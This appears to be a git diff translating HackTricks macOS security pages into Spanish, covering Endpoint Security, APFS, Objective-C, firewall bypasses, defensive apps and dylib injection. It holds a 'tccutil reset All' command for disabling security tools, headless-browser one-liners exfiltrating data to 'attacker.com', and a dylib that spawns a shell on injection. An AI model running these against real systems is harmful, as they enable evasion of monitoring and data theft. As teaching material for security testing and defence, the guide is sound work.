- **EndpointSecurityEventManager**: This component is responsible for implementing kernel hooks. Kernel hooks allow the framework to monitor system events by intercepting system calls. - **EndpointSecurityEventManager**: Este componente es responsable de implementar ganchos del kernel. Los ganchos del kernel permiten que el marco monitoree eventos del sistema interceptando llamadas al sistema.
- **EndpointSecurityClientManager**: This manages the communication with user space clients, keeping track of which clients are connected and need to receive event notifications. - **EndpointSecurityClientManager**: Este gestiona la comunicación con los clientes del espacio de usuario, manteniendo un registro de qué clientes están conectados y necesitan recibir notificaciones de eventos.
- **EndpointSecurityMessageManager**: This sends messages and event notifications to user space clients. - **EndpointSecurityMessageManager**: Este envía mensajes y notificaciones de eventos a los clientes del espacio de usuario.
The events that the Endpoint Security framework can monitor are categorized into: Los eventos que el marco de Endpoint Security puede monitorear se clasifican en:
- File events - Eventos de archivos
- Process events - Eventos de procesos
- Socket events - Eventos de sockets
- Kernel events (such as loading/unloading a kernel extension or opening an I/O Kit device) - Eventos del kernel (como cargar/descargar una extensión del kernel o abrir un dispositivo de I/O Kit)
### Endpoint Security Framework Architecture ### Arquitectura del Endpoint Security Framework
<figure><img src="../../../images/image (1068).png" alt="https://www.youtube.com/watch?v=jaVkpM1UqOs"><figcaption></figcaption></figure> <figure><img src="../../../images/image (1068).png" alt="https://www.youtube.com/watch?v=jaVkpM1UqOs"><figcaption></figcaption></figure>
**User-space communication** with the Endpoint Security framework happens through the IOUserClient class. Two different subclasses are used, depending on the type of caller: La **comunicación en el espacio de usuario** con el marco de Endpoint Security ocurre a través de la clase IOUserClient. Se utilizan dos subclases diferentes, dependiendo del tipo de llamador:
- **EndpointSecurityDriverClient**: This requires the `com.apple.private.endpoint-security.manager` entitlement, which is only held by the system process `endpointsecurityd`. - **EndpointSecurityDriverClient**: Esto requiere el derecho `com.apple.private.endpoint-security.manager`, que solo posee el proceso del sistema `endpointsecurityd`.
- **EndpointSecurityExternalClient**: This requires the `com.apple.developer.endpoint-security.client` entitlement. This would typically be used by third-party security software that needs to interact with the Endpoint Security framework. - **EndpointSecurityExternalClient**: Esto requiere el derecho `com.apple.developer.endpoint-security.client`. Esto sería utilizado típicamente por software de seguridad de terceros que necesita interactuar con el marco de Endpoint Security.
The Endpoint Security Extensions:**`libEndpointSecurity.dylib`** is the C library that system extensions use to communicate with the kernel. This library uses the I/O Kit (`IOKit`) to communicate with the Endpoint Security KEXT. Las Endpoint Security Extensions:**`libEndpointSecurity.dylib`** es la biblioteca C que utilizan las system extensions para comunicarse con el kernel. Esta biblioteca utiliza el I/O Kit (`IOKit`) para comunicarse con el KEXT de Endpoint Security.
**`endpointsecurityd`** is a key system daemon involved in managing and launching endpoint security system extensions, particularly during the early boot process. **Only system extensions** marked with **`NSEndpointSecurityEarlyBoot`** in their `Info.plist` file receive this early boot treatment. **`endpointsecurityd`** es un daemon del sistema clave involucrado en la gestión y lanzamiento de las system extensions de seguridad de endpoint, particularmente durante el proceso de arranque temprano. **Solo las system extensions** marcadas con **`NSEndpointSecurityEarlyBoot`** en su archivo `Info.plist` reciben este tratamiento de arranque temprano.
Another system daemon, **`sysextd`**, **validates system extensions** and moves them into the proper system locations. It then asks the relevant daemon to load the extension. The **`SystemExtensions.framework`** is responsible for activating and deactivating system extensions. Otro daemon del sistema, **`sysextd`**, **valida las system extensions** y las mueve a las ubicaciones adecuadas del sistema. Luego pide al daemon relevante que cargue la extensión. El **`SystemExtensions.framework`** es responsable de activar y desactivar las system extensions.
## Bypassing ESF ## Bypassing ESF
ESF is used by security tools that will try to detect a red teamer, so any information about how this could be avoided sounds interesting. ESF es utilizado por herramientas de seguridad que intentarán detectar a un red teamer, por lo que cualquier información sobre cómo evitar esto suena interesante.
### CVE-2021-30965 ### CVE-2021-30965
The thing is that the security application needs to have **Full Disk Access permissions**. So if an attacker could remove that, he could prevent the software from running: La cuestión es que la aplicación de seguridad necesita tener **permisos de Acceso Completo al Disco**. Así que si un atacante pudiera eliminar eso, podría evitar que el software se ejecute:
```bash ```bash
tccutil reset All tccutil reset All
``` ```
Para **más información** sobre este bypass y otros relacionados, consulta la charla [#OBTS v5.0: "The Achilles Heel of EndpointSecurity" - Fitzl Csaba](https://www.youtube.com/watch?v=lQO7tvNCoTI)
For **more information** about this bypass and related ones check the talk [#OBTS v5.0: "The Achilles Heel of EndpointSecurity" - Fitzl Csaba](https://www.youtube.com/watch?v=lQO7tvNCoTI) Al final, esto se solucionó otorgando el nuevo permiso **`kTCCServiceEndpointSecurityClient`** a la aplicación de seguridad gestionada por **`tccd`**, de modo que `tccutil` no borre sus permisos, impidiendo que deje de funcionar.
At the end this was fixed by giving the new permission **`kTCCServiceEndpointSecurityClient`** to the security app managed by **`tccd`** so `tccutil` won't clear its permissions preventing it from running. ## Referencias
## References
- [**OBTS v3.0: "Endpoint Security & Insecurity" - Scott Knight**](https://www.youtube.com/watch?v=jaVkpM1UqOs) - [**OBTS v3.0: "Endpoint Security & Insecurity" - Scott Knight**](https://www.youtube.com/watch?v=jaVkpM1UqOs)
- [**https://knight.sc/reverse%20engineering/2019/08/24/system-extension-internals.html**](https://knight.sc/reverse%20engineering/2019/08/24/system-extension-internals.html) - [**https://knight.sc/reverse%20engineering/2019/08/24/system-extension-internals.html**](https://knight.sc/reverse%20engineering/2019/08/24/system-extension-internals.html)

View File

@ -4,31 +4,27 @@
## Apple Propietary File System (APFS) ## Apple Propietary File System (APFS)
**Apple File System (APFS)** is a modern file system designed to supersede the Hierarchical File System Plus (HFS+). Its development was driven by the need for **improved performance, security, and efficiency**. **Apple File System (APFS)** es un sistema de archivos moderno diseñado para reemplazar el Hierarchical File System Plus (HFS+). Su desarrollo fue impulsado por la necesidad de **mejorar el rendimiento, la seguridad y la eficiencia**.
Some notable features of APFS include: Algunas características notables de APFS incluyen:
1. **Space Sharing**: APFS allows multiple volumes to **share the same underlying free storage** on a single physical device. This enables more efficient space utilization as the volumes can dynamically grow and shrink without the need for manual resizing or repartitioning. 1. **Compartición de Espacio**: APFS permite que múltiples volúmenes **compartan el mismo almacenamiento libre subyacente** en un solo dispositivo físico. Esto permite una utilización del espacio más eficiente, ya que los volúmenes pueden crecer y reducirse dinámicamente sin necesidad de redimensionamiento manual o reparticionamiento.
1. This means, compared with traditional partitions in file disks, **that in APFS different partitions (volumes) shares all the disk space**, while a regular partition usually had a fixed size. 1. Esto significa, en comparación con las particiones tradicionales en discos de archivos, **que en APFS diferentes particiones (volúmenes) comparten todo el espacio del disco**, mientras que una partición regular generalmente tenía un tamaño fijo.
2. **Snapshots**: APFS supports **creating snapshots**, which are **read-only**, point-in-time instances of the file system. Snapshots enable efficient backups and easy system rollbacks, as they consume minimal additional storage and can be quickly created or reverted. 2. **Instantáneas**: APFS admite **la creación de instantáneas**, que son instancias del sistema de archivos **de solo lectura** y en un momento específico. Las instantáneas permiten copias de seguridad eficientes y fáciles retrocesos del sistema, ya que consumen un almacenamiento adicional mínimo y pueden ser creadas o revertidas rápidamente.
3. **Clones**: APFS can **create file or directory clones that share the same storage** as the original until either the clone or the original file is modified. This feature provides an efficient way to create copies of files or directories without duplicating the storage space. 3. **Clones**: APFS puede **crear clones de archivos o directorios que comparten el mismo almacenamiento** que el original hasta que se modifique el clon o el archivo original. Esta característica proporciona una forma eficiente de crear copias de archivos o directorios sin duplicar el espacio de almacenamiento.
4. **Encryption**: APFS **natively supports full-disk encryption** as well as per-file and per-directory encryption, enhancing data security across different use cases. 4. **Cifrado**: APFS **admite nativamente el cifrado de disco completo** así como el cifrado por archivo y por directorio, mejorando la seguridad de los datos en diferentes casos de uso.
5. **Crash Protection**: APFS uses a **copy-on-write metadata scheme that ensures file system consistency** even in cases of sudden power loss or system crashes, reducing the risk of data corruption. 5. **Protección contra Fallos**: APFS utiliza un **esquema de metadatos de copia en escritura que garantiza la consistencia del sistema de archivos** incluso en casos de pérdida repentina de energía o fallos del sistema, reduciendo el riesgo de corrupción de datos.
Overall, APFS offers a more modern, flexible, and efficient file system for Apple devices, with a focus on improved performance, reliability, and security.
En general, APFS ofrece un sistema de archivos más moderno, flexible y eficiente para dispositivos Apple, con un enfoque en mejorar el rendimiento, la fiabilidad y la seguridad.
```bash ```bash
diskutil list # Get overview of the APFS volumes diskutil list # Get overview of the APFS volumes
``` ```
## Firmlinks ## Firmlinks
The `Data` volume is mounted in **`/System/Volumes/Data`** (you can check this with `diskutil apfs list`). El volumen `Data` está montado en **`/System/Volumes/Data`** (puedes verificar esto con `diskutil apfs list`).
The list of firmlinks can be found in the **`/usr/share/firmlinks`** file.
La lista de firmlinks se puede encontrar en el archivo **`/usr/share/firmlinks`**.
```bash ```bash
``` ```
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}

View File

@ -5,24 +5,21 @@
## Objective-C ## Objective-C
> [!CAUTION] > [!CAUTION]
> Note that programs written in Objective-C **retain** their class declarations **when** **compiled** into [Mach-O binaries](macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.md). Such class declarations **include** the name and type of: > Tenga en cuenta que los programas escritos en Objective-C **retienen** sus declaraciones de clase **cuando** se **compilan** en [Mach-O binaries](macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.md). Tales declaraciones de clase **incluyen** el nombre y tipo de:
- The class - La clase
- The class methods - Los métodos de la clase
- The class instance variables - Las variables de instancia de la clase
You can get this information using [**class-dump**](https://github.com/nygard/class-dump):
Puede obtener esta información utilizando [**class-dump**](https://github.com/nygard/class-dump):
```bash ```bash
class-dump Kindle.app class-dump Kindle.app
``` ```
Tenga en cuenta que estos nombres podrían estar ofuscados para dificultar la reversión del binario.
Note that this names could be obfuscated to make the reversing of the binary more difficult. ## Clases, Métodos y Objetos
## Classes, Methods & Objects
### Interface, Properties & Methods
### Interfaz, Propiedades y Métodos
```objectivec ```objectivec
// Declare the interface of the class // Declare the interface of the class
@interface MyVehicle : NSObject @interface MyVehicle : NSObject
@ -37,29 +34,25 @@ Note that this names could be obfuscated to make the reversing of the binary mor
@end @end
``` ```
### **Clase**
### **Class**
```objectivec ```objectivec
@implementation MyVehicle : NSObject @implementation MyVehicle : NSObject
// No need to indicate the properties, only define methods // No need to indicate the properties, only define methods
- (void)startEngine { - (void)startEngine {
NSLog(@"Engine started"); NSLog(@"Engine started");
} }
- (void)addWheels:(int)value { - (void)addWheels:(int)value {
self.numberOfWheels += value; self.numberOfWheels += value;
} }
@end @end
``` ```
### **Objeto y Llamar Método**
### **Object & Call Method** Para crear una instancia de una clase se llama al método **`alloc`** que **asigna memoria** para cada **propiedad** y **pone a cero** esas asignaciones. Luego se llama a **`init`**, que **inicializa las propiedades** a los **valores requeridos**.
To create an instance of a class the **`alloc`** method is called which **allocate memory** for each **property** and **zero** those allocations. Then **`init`** is called, which **initilize the properties** to the **required values**.
```objectivec ```objectivec
// Something like this: // Something like this:
MyVehicle *newVehicle = [[MyVehicle alloc] init]; MyVehicle *newVehicle = [[MyVehicle alloc] init];
@ -71,19 +64,15 @@ MyVehicle *newVehicle = [MyVehicle new];
// [myClassInstance nameOfTheMethodFirstParam:param1 secondParam:param2] // [myClassInstance nameOfTheMethodFirstParam:param1 secondParam:param2]
[newVehicle addWheels:4]; [newVehicle addWheels:4];
``` ```
### **Métodos de Clase**
### **Class Methods** Los métodos de clase se definen con el **signo más** (+) y no con el guion (-) que se utiliza con los métodos de instancia. Como el método de clase **NSString** **`stringWithString`**:
Class methods are defined with the **plus sign** (+) not the hyphen (-) that is used with instance methods. Like the **NSString** class method **`stringWithString`**:
```objectivec ```objectivec
+ (id)stringWithString:(NSString *)aString; + (id)stringWithString:(NSString *)aString;
``` ```
### Setter & Getter ### Setter & Getter
To **set** & **get** properties, you could do it with a **dot notation** or like if you were **calling a method**: Para **establecer** y **obtener** propiedades, puedes hacerlo con una **notación de punto** o como si estuvieras **llamando a un método**:
```objectivec ```objectivec
// Set // Set
newVehicle.numberOfWheels = 2; newVehicle.numberOfWheels = 2;
@ -93,24 +82,20 @@ newVehicle.numberOfWheels = 2;
NSLog(@"Number of wheels: %i", newVehicle.numberOfWheels); NSLog(@"Number of wheels: %i", newVehicle.numberOfWheels);
NSLog(@"Number of wheels: %i", [newVehicle numberOfWheels]); NSLog(@"Number of wheels: %i", [newVehicle numberOfWheels]);
``` ```
### **Variables de Instancia**
### **Instance Variables** Alternativamente a los métodos setter y getter, puedes usar variables de instancia. Estas variables tienen el mismo nombre que las propiedades pero comenzando con un "\_":
Alternatively to setter & getter methods you can use instance variables. These variables have the same name as the properties but starting with a "\_":
```objectivec ```objectivec
- (void)makeLongTruck { - (void)makeLongTruck {
_numberOfWheels = +10000; _numberOfWheels = +10000;
NSLog(@"Number of wheels: %i", self.numberOfLeaves); NSLog(@"Number of wheels: %i", self.numberOfLeaves);
} }
``` ```
### Protocolos
### Protocols Los protocolos son un conjunto de declaraciones de métodos (sin propiedades). Una clase que implementa un protocolo implementa los métodos declarados.
Protocols are set of method declarations (without properties). A class that implements a protocol implement the declared methods.
There are 2 types of methods: **mandatory** and **optional**. By **default** a method is **mandatory** (but you can also indicate it with a **`@required`** tag). To indicate that a method is optional use **`@optional`**.
Hay 2 tipos de métodos: **obligatorios** y **opcionales**. Por **defecto**, un método es **obligatorio** (pero también puedes indicarlo con una etiqueta **`@required`**). Para indicar que un método es opcional, usa **`@optional`**.
```objectivec ```objectivec
@protocol myNewProtocol @protocol myNewProtocol
- (void) method1; //mandatory - (void) method1; //mandatory
@ -120,9 +105,7 @@ There are 2 types of methods: **mandatory** and **optional**. By **default** a m
- (void) method3; //optional - (void) method3; //optional
@end @end
``` ```
### Todo junto
### All together
```objectivec ```objectivec
// gcc -framework Foundation test_obj.m -o test_obj // gcc -framework Foundation test_obj.m -o test_obj
#import <Foundation/Foundation.h> #import <Foundation/Foundation.h>
@ -148,50 +131,44 @@ There are 2 types of methods: **mandatory** and **optional**. By **default** a m
@implementation MyVehicle : NSObject @implementation MyVehicle : NSObject
- (void)startEngine { - (void)startEngine {
NSLog(@"Engine started"); NSLog(@"Engine started");
} }
- (void)addWheels:(int)value { - (void)addWheels:(int)value {
self.numberOfWheels += value; self.numberOfWheels += value;
} }
- (void)makeLongTruck { - (void)makeLongTruck {
_numberOfWheels = +10000; _numberOfWheels = +10000;
NSLog(@"Number of wheels: %i", self.numberOfWheels); NSLog(@"Number of wheels: %i", self.numberOfWheels);
} }
@end @end
int main() { int main() {
MyVehicle* mySuperCar = [MyVehicle new]; MyVehicle* mySuperCar = [MyVehicle new];
[mySuperCar startEngine]; [mySuperCar startEngine];
mySuperCar.numberOfWheels = 4; mySuperCar.numberOfWheels = 4;
NSLog(@"Number of wheels: %i", mySuperCar.numberOfWheels); NSLog(@"Number of wheels: %i", mySuperCar.numberOfWheels);
[mySuperCar setNumberOfWheels:3]; [mySuperCar setNumberOfWheels:3];
NSLog(@"Number of wheels: %i", mySuperCar.numberOfWheels); NSLog(@"Number of wheels: %i", mySuperCar.numberOfWheels);
[mySuperCar makeLongTruck]; [mySuperCar makeLongTruck];
} }
``` ```
### Clases Básicas
### Basic Classes #### Cadena
#### String
```objectivec ```objectivec
// NSString // NSString
NSString *bookTitle = @"The Catcher in the Rye"; NSString *bookTitle = @"The Catcher in the Rye";
NSString *bookAuthor = [[NSString alloc] initWithCString:"J.D. Salinger" encoding:NSUTF8StringEncoding]; NSString *bookAuthor = [[NSString alloc] initWithCString:"J.D. Salinger" encoding:NSUTF8StringEncoding];
NSString *bookPublicationYear = [NSString stringWithCString:"1951" encoding:NSUTF8StringEncoding]; NSString *bookPublicationYear = [NSString stringWithCString:"1951" encoding:NSUTF8StringEncoding];
``` ```
Las clases básicas son **inmutables**, por lo que para agregar una cadena a una existente se **necesita crear un nuevo NSString**.
Basic classes are **immutable**, so to append a string to an existing one a **new NSString needs to be created**.
```objectivec ```objectivec
NSString *bookDescription = [NSString stringWithFormat:@"%@ by %@ was published in %@", bookTitle, bookAuthor, bookPublicationYear]; NSString *bookDescription = [NSString stringWithFormat:@"%@ by %@ was published in %@", bookTitle, bookAuthor, bookPublicationYear];
``` ```
O también podrías usar una clase de cadena **mutable**:
Or you could also use a **mutable** string class:
```objectivec ```objectivec
NSMutableString *mutableString = [NSMutableString stringWithString:@"The book "]; NSMutableString *mutableString = [NSMutableString stringWithString:@"The book "];
[mutableString appendString:bookTitle]; [mutableString appendString:bookTitle];
@ -200,9 +177,7 @@ NSMutableString *mutableString = [NSMutableString stringWithString:@"The book "]
[mutableString appendString:@" and published in "]; [mutableString appendString:@" and published in "];
[mutableString appendString:bookPublicationYear]; [mutableString appendString:bookPublicationYear];
``` ```
#### Número
#### Number
```objectivec ```objectivec
// character literals. // character literals.
NSNumber *theLetterZ = @'Z'; // equivalent to [NSNumber numberWithChar:'Z'] NSNumber *theLetterZ = @'Z'; // equivalent to [NSNumber numberWithChar:'Z']
@ -221,9 +196,7 @@ NSNumber *piDouble = @3.1415926535; // equivalent to [NSNumber numberWithDouble:
NSNumber *yesNumber = @YES; // equivalent to [NSNumber numberWithBool:YES] NSNumber *yesNumber = @YES; // equivalent to [NSNumber numberWithBool:YES]
NSNumber *noNumber = @NO; // equivalent to [NSNumber numberWithBool:NO] NSNumber *noNumber = @NO; // equivalent to [NSNumber numberWithBool:NO]
``` ```
#### Arreglos, Conjuntos y Diccionarios
#### Array, Sets & Dictionary
```objectivec ```objectivec
// Inmutable arrays // Inmutable arrays
NSArray *colorsArray1 = [NSArray arrayWithObjects:@"red", @"green", @"blue", nil]; NSArray *colorsArray1 = [NSArray arrayWithObjects:@"red", @"green", @"blue", nil];
@ -250,18 +223,18 @@ NSMutableSet *mutFruitsSet = [NSMutableSet setWithObjects:@"apple", @"banana", @
// Dictionary // Dictionary
NSDictionary *fruitColorsDictionary = @{ NSDictionary *fruitColorsDictionary = @{
@"apple" : @"red", @"apple" : @"red",
@"banana" : @"yellow", @"banana" : @"yellow",
@"orange" : @"orange", @"orange" : @"orange",
@"grape" : @"purple" @"grape" : @"purple"
}; };
// In dictionaryWithObjectsAndKeys you specify the value and then the key: // In dictionaryWithObjectsAndKeys you specify the value and then the key:
NSDictionary *fruitColorsDictionary2 = [NSDictionary dictionaryWithObjectsAndKeys: NSDictionary *fruitColorsDictionary2 = [NSDictionary dictionaryWithObjectsAndKeys:
@"red", @"apple", @"red", @"apple",
@"yellow", @"banana", @"yellow", @"banana",
@"orange", @"orange", @"orange", @"orange",
@"purple", @"grape", @"purple", @"grape",
nil]; nil];
// Mutable dictionary // Mutable dictionary
@ -269,80 +242,71 @@ NSMutableDictionary *mutFruitColorsDictionary = [NSMutableDictionary dictionaryW
[mutFruitColorsDictionary setObject:@"green" forKey:@"apple"]; [mutFruitColorsDictionary setObject:@"green" forKey:@"apple"];
[mutFruitColorsDictionary removeObjectForKey:@"grape"]; [mutFruitColorsDictionary removeObjectForKey:@"grape"];
``` ```
### Bloques
### Blocks Los bloques son **funciones que se comportan como objetos** por lo que pueden ser pasados a funciones o **almacenados** en **arreglos** o **diccionarios**. Además, pueden **representar un valor si se les dan valores**, por lo que es similar a los lambdas.
Blocks are **functions that behaves as objects** so they can be passed to functions or **stored** in **arrays** or **dictionaries**. Also, they can **represent a value if they are given values** so it's similar to lambdas.
```objectivec ```objectivec
returnType (^blockName)(argumentType1, argumentType2, ...) = ^(argumentType1 param1, argumentType2 param2, ...){ returnType (^blockName)(argumentType1, argumentType2, ...) = ^(argumentType1 param1, argumentType2 param2, ...){
//Perform operations here //Perform operations here
}; };
// For example // For example
int (^suma)(int, int) = ^(int a, int b){ int (^suma)(int, int) = ^(int a, int b){
return a+b; return a+b;
}; };
NSLog(@"3+4 = %d", suma(3,4)); NSLog(@"3+4 = %d", suma(3,4));
``` ```
También es posible **definir un tipo de bloque que se utilizará como parámetro** en funciones:
It's also possible to **define a block type to be used as a parameter** in functions:
```objectivec ```objectivec
// Define the block type // Define the block type
typedef void (^callbackLogger)(void); typedef void (^callbackLogger)(void);
// Create a bloack with the block type // Create a bloack with the block type
callbackLogger myLogger = ^{ callbackLogger myLogger = ^{
NSLog(@"%@", @"This is my block"); NSLog(@"%@", @"This is my block");
}; };
// Use it inside a function as a param // Use it inside a function as a param
void genericLogger(callbackLogger blockParam) { void genericLogger(callbackLogger blockParam) {
NSLog(@"%@", @"This is my function"); NSLog(@"%@", @"This is my function");
blockParam(); blockParam();
} }
genericLogger(myLogger); genericLogger(myLogger);
// Call it inline // Call it inline
genericLogger(^{ genericLogger(^{
NSLog(@"%@", @"This is my second block"); NSLog(@"%@", @"This is my second block");
}); });
``` ```
### Archivos
### Files
```objectivec ```objectivec
// Manager to manage files // Manager to manage files
NSFileManager *fileManager = [NSFileManager defaultManager]; NSFileManager *fileManager = [NSFileManager defaultManager];
// Check if file exists: // Check if file exists:
if ([fileManager fileExistsAtPath:@"/path/to/file.txt" ] == YES) { if ([fileManager fileExistsAtPath:@"/path/to/file.txt" ] == YES) {
NSLog (@"File exists"); NSLog (@"File exists");
} }
// copy files // copy files
if ([fileManager copyItemAtPath: @"/path/to/file1.txt" toPath: @"/path/to/file2.txt" error:nil] == YES) { if ([fileManager copyItemAtPath: @"/path/to/file1.txt" toPath: @"/path/to/file2.txt" error:nil] == YES) {
NSLog (@"Copy successful"); NSLog (@"Copy successful");
} }
// Check if the content of 2 files match // Check if the content of 2 files match
if ([fileManager contentsEqualAtPath:@"/path/to/file1.txt" andPath:@"/path/to/file2.txt"] == YES) { if ([fileManager contentsEqualAtPath:@"/path/to/file1.txt" andPath:@"/path/to/file2.txt"] == YES) {
NSLog (@"File contents match"); NSLog (@"File contents match");
} }
// Delete file // Delete file
if ([fileManager removeItemAtPath:@"/path/to/file1.txt" error:nil]) { if ([fileManager removeItemAtPath:@"/path/to/file1.txt" error:nil]) {
NSLog(@"Removed successfully"); NSLog(@"Removed successfully");
} }
``` ```
También es posible gestionar archivos **usando objetos `NSURL` en lugar de objetos `NSString`**. Los nombres de los métodos son similares, pero **con `URL` en lugar de `Path`**.
It's also possible to manage files **using `NSURL` objects instead of `NSString`** objects. The method names are similar, but **with `URL` instead of `Path`**.
```objectivec ```objectivec
``` ```
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}

View File

@ -2,84 +2,74 @@
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
## Found techniques ## Técnicas encontradas
The following techniques were found working in some macOS firewall apps. Las siguientes técnicas se encontraron funcionando en algunas aplicaciones de firewall de macOS.
### Abusing whitelist names ### Abusando de nombres en la lista blanca
- For example calling the malware with names of well known macOS processes like **`launchd`** - Por ejemplo, llamar al malware con nombres de procesos bien conocidos de macOS como **`launchd`**
### Synthetic Click ### Clic sintético
- If the firewall ask for permission to the user make the malware **click on allow** - Si el firewall pide permiso al usuario, hacer que el malware **haga clic en permitir**
### **Use Apple signed binaries** ### **Usar binarios firmados por Apple**
- Like **`curl`**, but also others like **`whois`** - Como **`curl`**, pero también otros como **`whois`**
### Well known apple domains ### Dominios de Apple bien conocidos
The firewall could be allowing connections to well known apple domains such as **`apple.com`** or **`icloud.com`**. And iCloud could be used as a C2. El firewall podría estar permitiendo conexiones a dominios de Apple bien conocidos como **`apple.com`** o **`icloud.com`**. Y iCloud podría ser utilizado como un C2.
### Generic Bypass ### Bypass genérico
Some ideas to try to bypass firewalls Algunas ideas para intentar eludir firewalls
### Check allowed traffic ### Verificar tráfico permitido
Knowing the allowed traffic will help you identify potentially whitelisted domains or which applications are allowed to access them
Conocer el tráfico permitido te ayudará a identificar dominios potencialmente en la lista blanca o qué aplicaciones tienen permiso para acceder a ellos.
```bash ```bash
lsof -i TCP -sTCP:ESTABLISHED lsof -i TCP -sTCP:ESTABLISHED
``` ```
### Abusando de DNS
### Abusing DNS Las resoluciones DNS se realizan a través de la aplicación firmada **`mdnsreponder`** que probablemente estará permitida para contactar servidores DNS.
DNS resolutions are done via **`mdnsreponder`** signed application which will probably vi allowed to contact DNS servers.
<figure><img src="../../images/image (468).png" alt="https://www.youtube.com/watch?v=UlT5KFTMn2k"><figcaption></figcaption></figure> <figure><img src="../../images/image (468).png" alt="https://www.youtube.com/watch?v=UlT5KFTMn2k"><figcaption></figcaption></figure>
### Via Browser apps ### A través de aplicaciones de navegador
- **oascript** - **oascript**
```applescript ```applescript
tell application "Safari" tell application "Safari"
run run
tell application "Finder" to set visible of process "Safari" to false tell application "Finder" to set visible of process "Safari" to false
make new document make new document
set the URL of document 1 to "https://attacker.com?data=data%20to%20exfil set the URL of document 1 to "https://attacker.com?data=data%20to%20exfil
end tell end tell
``` ```
- Google Chrome - Google Chrome
```bash ```bash
"Google Chrome" --crash-dumps-dir=/tmp --headless "https://attacker.com?data=data%20to%20exfil" "Google Chrome" --crash-dumps-dir=/tmp --headless "https://attacker.com?data=data%20to%20exfil"
``` ```
- Firefox - Firefox
```bash ```bash
firefox-bin --headless "https://attacker.com?data=data%20to%20exfil" firefox-bin --headless "https://attacker.com?data=data%20to%20exfil"
``` ```
- Safari - Safari
```bash ```bash
open -j -a Safari "https://attacker.com?data=data%20to%20exfil" open -j -a Safari "https://attacker.com?data=data%20to%20exfil"
``` ```
### A través de inyecciones de procesos
### Via processes injections Si puedes **inyectar código en un proceso** que tiene permiso para conectarse a cualquier servidor, podrías eludir las protecciones del firewall:
If you can **inject code into a process** that is allowed to connect to any server you could bypass the firewall protections:
{{#ref}} {{#ref}}
macos-proces-abuse/ macos-proces-abuse/
{{#endref}} {{#endref}}
## References ## Referencias
- [https://www.youtube.com/watch?v=UlT5KFTMn2k](https://www.youtube.com/watch?v=UlT5KFTMn2k) - [https://www.youtube.com/watch?v=UlT5KFTMn2k](https://www.youtube.com/watch?v=UlT5KFTMn2k)

View File

@ -1,19 +1,19 @@
# macOS Defensive Apps # Aplicaciones Defensivas de macOS
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
## Firewalls ## Firewalls
- [**Little Snitch**](https://www.obdev.at/products/littlesnitch/index.html): It will monitor every connection made by each process. Depending on the mode (silent allow connections, silent deny connection and alert) it will **show you an alert** every time a new connection is stablished. It also has a very nice GUI to see all this information. - [**Little Snitch**](https://www.obdev.at/products/littlesnitch/index.html): Monitoreará cada conexión realizada por cada proceso. Dependiendo del modo (permitir conexiones en silencio, denegar conexión en silencio y alertar) te **mostrará una alerta** cada vez que se establezca una nueva conexión. También tiene una interfaz gráfica muy agradable para ver toda esta información.
- [**LuLu**](https://objective-see.org/products/lulu.html): Objective-See firewall. This is a basic firewall that will alert you for suspicious connections (it has a GUI but it isn't as fancy as the one of Little Snitch). - [**LuLu**](https://objective-see.org/products/lulu.html): Firewall de Objective-See. Este es un firewall básico que te alertará sobre conexiones sospechosas (tiene una interfaz gráfica, pero no es tan elegante como la de Little Snitch).
## Persistence detection ## Detección de persistencia
- [**KnockKnock**](https://objective-see.org/products/knockknock.html): Objective-See application that will search in several locations where **malware could be persisting** (it's a one-shot tool, not a monitoring service). - [**KnockKnock**](https://objective-see.org/products/knockknock.html): Aplicación de Objective-See que buscará en varias ubicaciones donde **el malware podría estar persistiendo** (es una herramienta de un solo uso, no un servicio de monitoreo).
- [**BlockBlock**](https://objective-see.org/products/blockblock.html): Like KnockKnock by monitoring processes that generate persistence. - [**BlockBlock**](https://objective-see.org/products/blockblock.html): Como KnockKnock, monitoreando procesos que generan persistencia.
## Keyloggers detection ## Detección de keyloggers
- [**ReiKey**](https://objective-see.org/products/reikey.html): Objective-See application to find **keyloggers** that install keyboard "event taps"&#x20; - [**ReiKey**](https://objective-see.org/products/reikey.html): Aplicación de Objective-See para encontrar **keyloggers** que instalan "event taps" de teclado.&#x20;
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}

View File

@ -2,10 +2,9 @@
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
## DYLD_INSERT_LIBRARIES Basic example ## Ejemplo básico de DYLD_INSERT_LIBRARIES
**Library to inject** to execute a shell:
**Biblioteca para inyectar** para ejecutar un shell:
```c ```c
// gcc -dynamiclib -o inject.dylib inject.c // gcc -dynamiclib -o inject.dylib inject.c
@ -17,35 +16,30 @@ __attribute__((constructor))
void myconstructor(int argc, const char **argv) void myconstructor(int argc, const char **argv)
{ {
syslog(LOG_ERR, "[+] dylib injected in %s\n", argv[0]); syslog(LOG_ERR, "[+] dylib injected in %s\n", argv[0]);
printf("[+] dylib injected in %s\n", argv[0]); printf("[+] dylib injected in %s\n", argv[0]);
execv("/bin/bash", 0); execv("/bin/bash", 0);
//system("cp -r ~/Library/Messages/ /tmp/Messages/"); //system("cp -r ~/Library/Messages/ /tmp/Messages/");
} }
``` ```
Binario a atacar:
Binary to attack:
```c ```c
// gcc hello.c -o hello // gcc hello.c -o hello
#include <stdio.h> #include <stdio.h>
int main() int main()
{ {
printf("Hello, World!\n"); printf("Hello, World!\n");
return 0; return 0;
} }
``` ```
Inyección:
Injection:
```bash ```bash
DYLD_INSERT_LIBRARIES=inject.dylib ./hello DYLD_INSERT_LIBRARIES=inject.dylib ./hello
``` ```
## Ejemplo de Dyld Hijacking
## Dyld Hijacking Example El binario vulnerable objetivo es `/Applications/VulnDyld.app/Contents/Resources/lib/binary`.
The targeted vulnerable binary is `/Applications/VulnDyld.app/Contents/Resources/lib/binary`.
{{#tabs}} {{#tabs}}
{{#tab name="entitlements"}} {{#tab name="entitlements"}}
@ -57,43 +51,38 @@ The targeted vulnerable binary is `/Applications/VulnDyld.app/Contents/Resources
{{#endtab}} {{#endtab}}
{{#tab name="LC_RPATH"}} {{#tab name="LC_RPATH"}}
```bash ```bash
# Check where are the @rpath locations # Check where are the @rpath locations
